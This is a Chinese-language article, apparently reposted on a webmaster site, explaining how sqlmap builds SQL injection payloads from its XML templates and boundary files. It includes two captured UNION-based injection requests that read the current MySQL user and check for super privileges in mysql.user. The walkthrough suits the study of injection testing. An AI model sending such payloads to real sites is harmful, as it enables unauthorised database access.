加入收藏 | 设为首页 | 会员中心 | 我要投稿 源码网 (https://www.900php.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

聊一聊SQLMAP在进行SQL注入时的整个流程

发布时间:2019-07-05 21:28:58 所属栏目:策划 来源:sher10ck
导读:副标题#e# 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什么? 本文就用我们看的见的角度来分析,看看sqlmap到底发送了什么payload,这些payload是怎么

对于每种类型的注入语句需要如何组合,在 sqlmap/data/xml/payloads 下有六个文件,里面主要是定义了测试的名称(也就是我们控制台中输出的内容)、风险等级、一些 payload 的位置等,了解一下就行了。

  1. <test> 
  2.         <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title> 
  3.         <stype>6</stype> 
  4.         <level>1</level> 
  5.         <risk>1</risk> 
  6.         <clause>1,2,3,4,5</clause> 
  7.         <where>1</where> 
  8.         <vector>[UNION]</vector> 
  9.         <request> 
  10.             <payload/> 
  11.             <comment>[GENERIC_SQL_COMMENT]</comment> 
  12.             <char>[CHAR]</char> 
  13.             <columns>[COLSTART]-[COLSTOP]</columns> 
  14.         </request> 
  15.         <response> 
  16.             <union/> 
  17.         </response> 
  18.     </test> 

同目录下还有一个 boundaries.xml 文件,里面主要是定义了一些闭合的符号,比方说我们注入点需要闭合,添加单引号、双引号、括号等一系列的组合方式,就是从这个文件当中提取出来的。

  1. <boundary> 
  2.        <level>3</level> 
  3.        <clause>1</clause> 
  4.        <where>1,2</where> 
  5.        <ptype>3</ptype> 
  6.        <prefix>'))</prefix> 
  7.        <suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix> 
  8.    </boundary> 

所以梳理一下思路,我们最终会发送给目标服务器的 payload,首先是需要闭合的 (boundaries.xml),然后从对应的注入类型的各种测试模板中提取相应的参数(比如:boolean_blind.xml),然后在 queries.xml 中取出相应的表达式,最后通过 tamper 的渲染,输出我们最终的 payload,也就是我们的 -v3 参数。

sqlmap 的一些参数

我们主要分析以下两个命令:

  1. --is-dba 
  2. --passwords 

命令主要是判断 mysql 用户的一些信息,当我们发现注入可以利用的时候,下一步就是要看当前用户的权限看能有什么的操作了。

1. 判断是否是 dba 权限

sqlmap 一共发了两个请求包:

  1. GET /xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdP HTTP/1.1 
  2. Host: www.xxxx.xxx 
  3. Accept: */* 
  4. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  5. Connection: close 
  6. Cache-Control: no-cache 
  7.  
  8.  
  9. GET /xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPV HTTP/1.1 
  10. Host: www.xxxx.xxx 
  11. Accept: */* 
  12. User-Agent: sqlmap/1.3.6.58#dev (http://sqlmap.org) 
  13. Connection: close 
  14. Cache-Control: no-cache 

(编辑:源码网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读